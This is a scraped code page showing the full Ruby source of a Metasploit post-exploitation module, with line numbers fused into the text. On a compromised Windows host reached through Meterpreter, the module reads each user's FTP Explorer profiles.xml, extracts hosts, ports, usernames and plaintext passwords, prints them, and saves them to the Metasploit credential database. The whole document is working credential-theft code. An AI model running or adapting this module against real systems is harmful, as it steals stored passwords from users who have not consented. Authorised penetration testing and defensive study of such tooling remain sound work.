Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/ftpx.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',15'Description' => %q{16This module finds saved login credentials for the FTP Explorer (FTPx)17FTP client for Windows.18},19'License' => MSF_LICENSE,20'Author' => [ 'bcoles' ],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_channel_eof27core_channel_open28core_channel_read29core_channel_write30]31}32}33)34)35end3637def run38grab_user_profiles.each do |user|39next if user['AppData'].nil?4041xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')42unless xml.nil?43parse_xml(xml)44end45end46end4748def get_xml(path)49connections = client.fs.file.new(path, 'r')5051condata = ''52condata << connections.read until connections.eof53return condata54rescue Rex::Post::Meterpreter::RequestError => e55print_error "Error when reading #{path} (#{e.message})"56return nil57end5859# Extracts the saved connection data from the XML.60# Reports the credentials back to the database.61def parse_xml(data)62mxml = REXML::Document.new(data).root63mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|64next if node.elements['Host'].nil?65next if node.elements['Login'].nil?66next if node.elements['Password'].nil?6768host = node.elements['Host'].text69port = node.elements['Port'].text70user = node.elements['Login'].text71pass = node.elements['Password'].text7273# skip blank passwords74next if !pass || pass.empty?7576# show results to the user77print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")7879# save results to the db80service_data = {81address: Rex::Socket.getaddress(host),82port: port,83protocol: 'tcp',84service_name: 'ftp',85workspace_id: myworkspace_id86}8788credential_data = {89origin_type: :session,90session_id: session_db_id,91post_reference_name: refname,92username: user,93private_data: pass,94private_type: :password95}9697credential_core = create_credential(credential_data.merge(service_data))9899login_data = {100core: credential_core,101access_level: 'User',102status: Metasploit::Model::Login::Status::UNTRIED103}104105create_credential_login(login_data.merge(service_data))106end107end108end109110111